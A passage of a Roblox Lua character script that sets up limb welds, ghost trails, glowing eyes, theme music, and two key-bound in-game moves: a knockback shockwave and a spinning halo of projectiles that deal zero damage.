FireBall.SoundId = "rbxassetid://842332424"
FireBall.Volume = 5
FireBall.Pitch = 2.5
BigFireBall = Instance.new("Sound",LeftArm)
BigFireBall.SoundId = "rbxassetid://842332424"
BigFireBall.Volume = 8
BigFireBall.Pitch = 1.5
local HEADLERP = Instance.new("ManualWeld")
HEADLERP.Parent = Head
HEADLERP.Part0 = Head
HEADLERP.Part1 = Head
HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local TORSOLERP = Instance.new("ManualWeld")
TORSOLERP.Parent = Root
TORSOLERP.Part0 = Torso
TORSOLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local ROOTLERP = Instance.new("ManualWeld")
ROOTLERP.Parent = Root
ROOTLERP.Part0 = Root
ROOTLERP.Part1 = Torso
ROOTLERP.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local RIGHTARMLERP = Instance.new("ManualWeld")
RIGHTARMLERP.Parent = RightArm
RIGHTARMLERP.Part0 = RightArm
RIGHTARMLERP.Part1 = Torso
RIGHTARMLERP.C0 = CFrame.new(-1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local LEFTARMLERP = Instance.new("ManualWeld")
LEFTARMLERP.Parent = LeftArm
LEFTARMLERP.Part0 = LeftArm
LEFTARMLERP.Part1 = Torso
LEFTARMLERP.C0 = CFrame.new(1.5, 0, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local RIGHTLEGLERP = Instance.new("ManualWeld")
RIGHTLEGLERP.Parent = RightLeg
RIGHTLEGLERP.Part0 = RightLeg
RIGHTLEGLERP.Part1 = Torso
RIGHTLEGLERP.C0 = CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local LEFTLEGLERP = Instance.new("ManualWeld")
LEFTLEGLERP.Parent = LeftLeg
LEFTLEGLERP.Part0 = LeftLeg
LEFTLEGLERP.Part1 = Torso
LEFTLEGLERP.C0 = CFrame.new(0.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local function weldBetween(a, b)
local weld = Instance.new("ManualWeld", a)
weld.Part0 = a
weld.Part1 = b
weld.C0 = a.CFrame:inverse() * b.CFrame
return weld
end
function makeblockytrail()
coroutine.wrap(function()
while true do
for i,v in pairs(blocktrail) do
smke = Instance.new("Part",v)
smke.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
smke.Material = "Neon"
smke.Anchored = true
smke.CanCollide = false
removeuseless:AddItem(smke,2)
end
swait()
end
end)()
end
local function ci(x, c, y, n)
so = Instance.new("Sound", x)
so.SoundId = c
so.Volume = y
so.Looped = n
end
function ghost()
fakeeyo2 = Instance.new("Part",Head)
fakeeyo2.BrickColor = BrickColor.new("White")
fakeeyo2.Material = "Neon"
fakeeyo2.Shape = "Ball"
fakeeyo2.Anchored = true
fakeeyo2.Transparency = 1
fakeeyo2.CFrame = eyo2.CFrame
fakeeyo2.CanCollide = false
fakeeyo2.Size = Vector3.new(0.33, 0.33, 0.33)
table.insert(ghosttable,fakeeyo2)
removeuseless:AddItem(fakeeyo2,3)
fakeeyo1 = Instance.new("Part",Head)
fakeeyo1.BrickColor = BrickColor.new("White")
fakeeyo1.Material = "Neon"
fakeeyo1.Shape = "Ball"
fakeeyo1.CanCollide = false
fakeeyo1.Transparency = 1
fakeeyo1.Anchored = true
fakeeyo1.CFrame = eyo1.CFrame
fakeeyo1.Size = Vector3.new(0.33, 0.33, 0.33)
table.insert(ghosttable,fakeeyo1)
removeuseless:AddItem(fakeeyo1,3)
fakemask = Instance.new("Part",Character)
fakemask.Size = Vector3.new(1,1,1)
fakemask.CFrame = mask.CFrame
fakemask.Material = "Neon"
fakemask.CanCollide = false
fakemask.Anchored = true
fakemask.BrickColor = BrickColor.new("White")
fakemask.Transparency = .5
mfMask = Instance.new("SpecialMesh", fakemask)
mfMask.MeshType = "FileMesh"
mfMask.Scale = Vector3.new(0.13, 0.13, 0.1)
mfMask.MeshId = 'http://www.roblox.com/asset/?id=5158270'
table.insert(ghosttable,fakemask)
removeuseless:AddItem(fakemask,3)
fakejester = Instance.new("Part",Character)
fakejester.Size = Vector3.new(2,2,2)
fakejester.CFrame = jester.CFrame
fakejester.CanCollide = false
fakejester.Transparency = .5
fakejester.Anchored = true
fakejester.BrickColor = BrickColor.new("White")
fakejesterm = Instance.new("SpecialMesh", fakejester)
fakejesterm.MeshType = "FileMesh"
fakejesterm.Scale = Vector3.new(1.1, 1.1, 1.1)
fakejesterm.MeshId = 'rbxassetid://1241662062'
table.insert(ghosttable,fakejester)
removeuseless:AddItem(fakejester,3)
fakehead = Instance.new("Part",Character)
fakehead.Size = Vector3.new(1.01,1.01,1.01)
fakehead.Anchored = true
fakehead.CanCollide = false
fakehead.Transparency = .99
fakehead.BrickColor = BrickColor.new("White")
fakehead.Material = "Neon"
fakehead.CFrame = Head.CFrame
fakeheadmesh = Instance.new("SpecialMesh",fakehead)
fakeheadmesh.MeshType = "Head"
fakeheadmesh.Scale = Vector3.new(1.255,1.255,1.255)
table.insert(ghosttable,fakehead)
removeuseless:AddItem(fakehead,3)
fakelarm = Instance.new("Part",Character)
fakelarm.CFrame = LeftArm.CFrame
fakelarm.Size = Vector3.new(1,2,1)
fakelarm.CanCollide = false
fakelarm.Transparency = .5
fakelarm.Material = "Neon"
fakelarm.Anchored = true
table.insert(ghosttable,fakelarm)
removeuseless:AddItem(fakelarm,3)
fakerarm = Instance.new("Part",Character)
fakerarm.CFrame = RightArm.CFrame
fakerarm.Size = Vector3.new(1,2,1)
fakerarm.Transparency = .5
fakerarm.CanCollide = false
fakerarm.Material = "Neon"
fakerarm.Anchored = true
table.insert(ghosttable,fakerarm)
removeuseless:AddItem(fakerarm,3)
fakelleg = Instance.new("Part",Character)
fakelleg.CFrame = LeftLeg.CFrame
fakelleg.Size = Vector3.new(1,2,1)
fakelleg.Transparency = .5
fakelleg.CanCollide = false
fakelleg.Material = "Neon"
fakelleg.Anchored = true
table.insert(ghosttable,fakelleg)
removeuseless:AddItem(fakelleg,3)
fakerleg = Instance.new("Part",Character)
fakerleg.CFrame = RightLeg.CFrame
fakerleg.Size = Vector3.new(1,2,1)
fakerleg.Transparency = .5
fakerleg.CanCollide = false
fakerleg.Material = "Neon"
fakerleg.Anchored = true
table.insert(ghosttable,fakerleg)
removeuseless:AddItem(fakerleg,3)
fakeTorso = Instance.new("Part",Character)
fakeTorso.CFrame = Torso.CFrame
fakeTorso.Size = Vector3.new(2,2,1)
fakeTorso.Transparency = .5
fakeTorso.CanCollide = false
fakeTorso.Material = "Neon"
fakeTorso.Anchored = true
table.insert(ghosttable,fakeTorso)
removeuseless:AddItem(fakeTorso,3)
end
ghosttable={}
coroutine.wrap(function()
while true do
for i,v in pairs(ghosttable) do
v.Transparency = v.Transparency + 0.025
end
wait()
end
end)()
function MAKETRAIL(PARENT,POSITION1,POSITION2,LIFETIME,COLOR)
A = Instance.new("Attachment", PARENT)
A.Position = POSITION1
A.Name = "A"
B = Instance.new("Attachment", PARENT)
B.Position = POSITION2
B.Name = "B"
tr1 = Instance.new("Trail", PARENT)
tr1.Attachment0 = A
tr1.Attachment1 = B
tr1.Enabled = true
tr1.Lifetime = LIFETIME
tr1.TextureMode = "Static"
tr1.LightInfluence = 0
tr1.Color = COLOR
tr1.Transparency = NumberSequence.new(0, 1)
end
function clean()
damageall={}
Repeater={}
Repeater2={}
nonmeshRepeater={}
nonmeshRepeater2={}
dmgii={}
DamageAll2={}
SlowlyFade={}
th1={}
th2={}
th3={}
Extreme={}
ExtremeM={}
ExtremeM2={}
m3={}
th4={}
th5={}
UpMover={}
openshocktable={}
LessSize={}
ForwardMover={}
FadeIn={}
signtransparency={}
signmover={}
signrotator={}
end
coroutine.wrap(function()
while wait() do
hum.WalkSpeed = ws
end
end)()
coroutine.wrap(function()
for i,v in pairs(Character:GetChildren()) do
if v.Name == "Animate" then v:Remove()
end
end
end)()
function damagealll(Radius,Position)
local Returning = {}
for _,v in pairs(workspace:GetChildren()) do
if v~=Character and v:FindFirstChildOfClass('Humanoid') and v:FindFirstChild('Torso') or v:FindFirstChild('UpperTorso') then
if v:FindFirstChild("Torso") then
local Mag = (v.Torso.Position - Position).magnitude
if Mag < Radius then
table.insert(Returning,v)
end
elseif v:FindFirstChild("UpperTorso") then
local Mag = (v.UpperTorso.Position - Position).magnitude
if Mag < Radius then
table.insert(Returning,v)
end
end
end
end
return Returning
end
ArtificialHB = Instance.new("BindableEvent", script)
ArtificialHB.Name = "Heartbeat"
script:WaitForChild("Heartbeat")
frame = 1 / 60
tf = 0
allowframeloss = false
tossremainder = false
lastframe = tick()
script.Heartbeat:Fire()
game:GetService("RunService").Heartbeat:connect(function(s, p)
tf = tf + s
if tf >= frame then
if allowframeloss then
script.Heartbeat:Fire()
lastframe = tick()
else
for i = 1, math.floor(tf / frame) do
script.Heartbeat:Fire()
end
lastframe = tick()
end
if tossremainder then
tf = 0
else
tf = tf - frame * math.floor(tf / frame)
end
end
end)
function swait(num)
if num == 0 or num == nil then
game:service("RunService").Stepped:wait(0)
else
for i = 0, num do
game:service("RunService").Stepped:wait(0)
end
end
end
doomtheme = Instance.new("Sound", Torso)
doomtheme.Volume = 3
doomtheme.Name = "doomtheme"
doomtheme.Looped = true
doomtheme.SoundId = "rbxassetid://1843358057"
doomtheme:Play()
Torso.ChildRemoved:connect(function(removed)
if removed.Name == "doomtheme" then
if levitate then
doomtheme = Instance.new("Sound", Torso)
doomtheme.Volume = 3
doomtheme.Name = "doomtheme"
doomtheme.Looped = true
doomtheme.SoundId = "rbxassetid://1382488262"
doomtheme:Play()
doomtheme.TimePosition = 20.7
else
doomtheme = Instance.new("Sound", Torso)
doomtheme.Volume = 3
doomtheme.Name = "doomtheme"
doomtheme.Looped = true
doomtheme.SoundId = "rbxassetid://1843358057"
doomtheme:Play()
end
end
end)
glow = Instance.new("Part",Head)
glow.Size = Vector3.new(.488,.3,.1)
glow.CanCollide = false
glow.Material = "Neon"
glow.Transparency = 1
glow.BrickColor = BrickColor.new("Really white")
glowweld = weldBetween(glow,Head)
glowweld.C0 = CFrame.new(0,.2,.565)
leftlocation = Instance.new("Part",LeftArm)
leftlocation.Size = Vector3.new(1,1,1)
leftlocation.Transparency = 1
leftlocationweld = weldBetween(leftlocation,LeftArm)
leftlocationweld.C0 = CFrame.new(0,1.2,0)
rightlocation = Instance.new("Part",RightArm)
rightlocation.Size = Vector3.new(1,1,1)
rightlocation.Transparency = 1
rightlocationweld = weldBetween(rightlocation,RightArm)
rightlocationweld.C0 = CFrame.new(0,1.2,0)
fakehed = Instance.new("Part",Character)
fakehed.Size = Vector3.new(1.01,1.01,1.01)
fakehed.Anchored = false
fakehed.CanCollide = false
fakehed.Transparency = 1
fakehed.BrickColor = BrickColor.new("Really black")
fakehed.Material = "Neon"
fakehed.CFrame = Head.CFrame
fakehedweld = weldBetween(fakehed,Head)
fakehedmesh = Instance.new("SpecialMesh",fakehed)
fakehedmesh.MeshType = "Head"
fakehedmesh.Scale = Vector3.new(1.255,1.255,1.255)
jester = Instance.new("Part",Character)
jester.Size = Vector3.new(2,2,2)
jester.CFrame = Head.CFrame
jester.CanCollide = false
jesterWeld = Instance.new("Weld",jester)
jesterWeld.Part0 = jester
jesterWeld.Part1 = Head
jester.Transparency = 1
jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0)
mjester = Instance.new("SpecialMesh", jester)
mjester.MeshType = "FileMesh"
mjester.Scale = Vector3.new(1.1, 1.1, 1.1)
mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395'
mask = Instance.new("Part",Character)
mask.Size = Vector3.new(1,1,1)
mask.CFrame = Head.CFrame
mask.CanCollide = false
mask.Transparency = 0.99
maskweld = weldBetween(mask,Head)
maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0)
mMask = Instance.new("SpecialMesh", mask)
mMask.MeshType = "FileMesh"
mMask.Scale = Vector3.new(0.13, 0.13, 0.1)
mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585'
eyo1 = Instance.new("Part",Head)
eyo1.BrickColor = BrickColor.new("White")
eyo1.Material = "Neon"
eyo1.Shape = "Ball"
eyo1.Name = "eyo1"
eyo1.CanCollide = false
eyo1.Transparency = 1
eyo1.Size = Vector3.new(0.33, 0.33, 0.33)
eyo1weld = weldBetween(eyo1,Head)
eyo1weld.C0 = CFrame.new(.215,-.05,.52)
light = Instance.new("PointLight", eyo1)
light.Color = Color3.new(1,1,1)
light.Range = 3
light.Brightness = 4
light.Enabled = true
eyo2 = Instance.new("Part",Head)
eyo2.BrickColor = BrickColor.new("White")
eyo2.Material = "Neon"
eyo2.Shape = "Ball"
eyo2.Name = "eyo2"
eyo2.Transparency = 1
eyo2.CanCollide = false
eyo2.Size = Vector3.new(0.33, 0.33, 0.33)
eyo2weld = weldBetween(eyo2,Head)
eyo2weld.C0 = CFrame.new(-.215,-.05,.52)
light2 = Instance.new("PointLight", eyo2)
light2.Color = Color3.new(1,1,1)
light2.Range = 3
light2.Brightness = 4
light2.Enabled = true
function SOUND(PARENT,ID,VOL,LOOP,REMOVE)
so = Instance.new("Sound")
so.Parent = PARENT
so.SoundId = "rbxassetid://"..ID
so.Volume = VOL
so.Looped = LOOP
so:Play()
removeuseless:AddItem(so,REMOVE)
end
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='r' then
if levitate then return end
if debounce then return end
debounce = true
attacking = true
appi = true
ws = 0
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
end
end
end)()
for i = 1, 20 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3)
swait()
end
SOUND(RightArm,342337569,6,false,1)
coroutine.wrap(function()
for i = 1, 9 do
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.1,1.6,-.1),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(15)),.3)
swait()
end
for i = 1, 9 do
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3)
swait()
end
end)()
shockwave = Instance.new("Part",Torso)
shockwave.Shape = "Ball"
shockwave.Size = Vector3.new(1,1,1)
shockwave.BrickColor = BrickColor.new("White")
shockwave.Material = "Neon"
shockwave.CFrame = Torso.CFrame
shockwave.CanCollide = false
shockwave.Anchored = true
coroutine.wrap(function()
for i = 1, 20 do
shockwave.Size = shockwave.Size + Vector3.new(1.8,1.8,1.8)
shockwave.Transparency = shockwave.Transparency + 0.05
wait()
end
end)()
SOUND(Torso,1072606965,0,false,10)
coroutine.wrap(function()
for i = 1, 10 do
so.Volume = so.Volume + 0.3
wait()
end
end)()
for i = 1, 35 do
local Hit = damagealll(22,Torso.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(Torso.Position,torso.Position).lookVector*20
removeuseless:AddItem(vel,.1)
end
wave = Instance.new("Part", Torso)
wave.Size = Vector3.new(1, 1, 1)
wave.Transparency = 0
wave.BrickColor = BrickColor.new("White")
wave.Anchored = true
wave.CanCollide = false
wave.CFrame = Root.CFrame * CFrame.new(0, -2.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
wavemesh = Instance.new("SpecialMesh", wave)
wavemesh.MeshId = "rbxassetid://20329976"
wavemesh.Scale = Vector3.new(1, 1, 1)
table.insert(th2,wave)
table.insert(SlowlyFade,wave)
table.insert(th5,wavemesh)
removeuseless:AddItem(wave,2)
CardStorm = Instance.new("Part",Torso)
CardStorm.Size = Vector3.new(.1,.1,.1)
CardStorm.CFrame = Root.CFrame * CFrame.new(0,3.2,0)
CardStorm.Anchored = true
CardStormMesh = Instance.new("SpecialMesh", CardStorm)
CardStormMesh.Scale = Vector3.new(1,1,1)
CardStormMesh.MeshId = "rbxassetid://6512150"
CardStormMesh.TextureId = "rbxassetid://55364685"
table.insert(SlowlyFade,CardStorm)
table.insert(m3,CardStormMesh)
table.insert(th1,CardStorm)
removeuseless:AddItem(CardStorm,3)
wait(.1)
end
coroutine.wrap(function()
for i = 1, 10 do
so.Volume = so.Volume - 0.3
wait()
end
end)()
wait(1)
ws = 10
clean()
attacking = false
debounce = false
appi = false
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='e' then
if levitate then return end
if debounce then return end
attacking = true
debounce = true
damagedebounce = false
clickdisallowance = true
clickdebounce = false
notallowed = true
appi = true
ws = 0
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.y > 1 and attacking == true then
position = "Jump2"
elseif Root.Velocity.y < -1 and attacking == true then
position = "Falling2"
elseif Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
elseif Root.Velocity.Magnitude > 2 and attacking == true then
position = "Walking2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Jump2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Falling2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2)
elseif position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
elseif position == "Walking2" and attacking == true and appi == true then
change = .8
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.sin(25*math.sin(sine/8))),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.sin(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.sin(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3)
end
end
end)()
coroutine.wrap(function()
for i = 1, 40 do
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0),.5)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.2,1.5,0) * CFrame.Angles(math.rad(180 - 7 * math.sin(sine/6)),math.rad(7 * math.sin(sine/6)),math.rad(7*math.sin(sine/6))), 0.5)
swait()
end
end)()
haloh = Instance.new("Part", Torso)
haloh.Size = Vector3.new(1,1,1)
haloh.Anchored = false
haloh.Transparency = 1
haloh.CanCollide = false
halohweld = weldBetween(haloh,Torso)
halohweld.C0 = CFrame.new(0,0,0)
n = 0
x = 0
tab={}
tab2={}
SOUND(Torso,1882057730,6,false,2)
for i = 1, 20 do
n = n + 20
x = x + 5
halo = Instance.new("Part", Torso)
halo.Size = Vector3.new(0.71, 0.07, 0.99)
halo.Transparency = 1
halo.CanCollide = false
halo.Material = "Neon"
halo.BrickColor = BrickColor.new("White")
halow = weldBetween(halo,haloh)
halow.C0 = CFrame.new(-4,0,0) * CFrame.Angles(math.rad(90),math.rad(n),math.rad(0))
table.insert(FadeIn,halo)
table.insert(tab,halow)
table.insert(tab2,halo)
wait()
end
ws = 10
clickdisallowance = false
coroutine.wrap(function()
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
while notallowed do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3)
swait()
end
end)()
coroutine.wrap(function()
mouse.Button1Down:connect(function()
if clickdisallowance then return end
if clickdebounce then return end
wait(.2)
clickdebounce = true
notallowed = false
end)
end)()
while notallowed do
for i,v in pairs(tab) do
v.C0 = v.C0 * CFrame.Angles(math.rad(0),math.rad(0 + 1.2),math.rad(0))
end
swait()
end
appi = false
ws = 0
for i = 1, 15 do
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(50), math.rad(0)), 0.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3)
swait()
end
for i,v in pairs(tab) do
v:Remove()
end
for i,v in pairs(tab2) do
removeuseless:AddItem(v,6)
MAKETRAIL(v,Vector3.new(.1,0,0),Vector3.new(-.1,0,0),.8,ColorSequence.new(BrickColor.new("White").Color,BrickColor.new("Really black").Color))
BodyGyro=Instance.new('BodyGyro',v)
BodyGyro.maxTorque=Vector3.new(math.huge,math.huge,math.huge)
BodyGyro.P=2e4
removeuseless:AddItem(BodyGyro,.1)
PB2 = Instance.new("BodyVelocity", v)
PB2.MaxForce = Vector3.new(999999, 999999, 999999)
v.CFrame = CFrame.new(v.Position,mouse.Hit.p)
PB2.Velocity = v.CFrame.lookVector * 80
end
SOUND(Torso,1499747506,3,false,1)
for i,v in pairs(tab2) do
v.Touched:connect(function(hit)
if hit.Parent:IsA("Part") then
elseif hit.Parent:IsA("SpecialMesh") then
elseif hit.Parent.Name == game.Players.LocalPlayer.Name then
elseif hit.Parent:findFirstChildOfClass("Humanoid") then
if damagedebounce == true then return end
damagedebounce = true
Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid")
tor = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")
Slachtoffer:TakeDamage(math.random(0,0))
SOUND(tor,694703797,6,false,1)
wait(.1)
damagedebounce = false
end
end)
end
for i = 1, 20 do
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
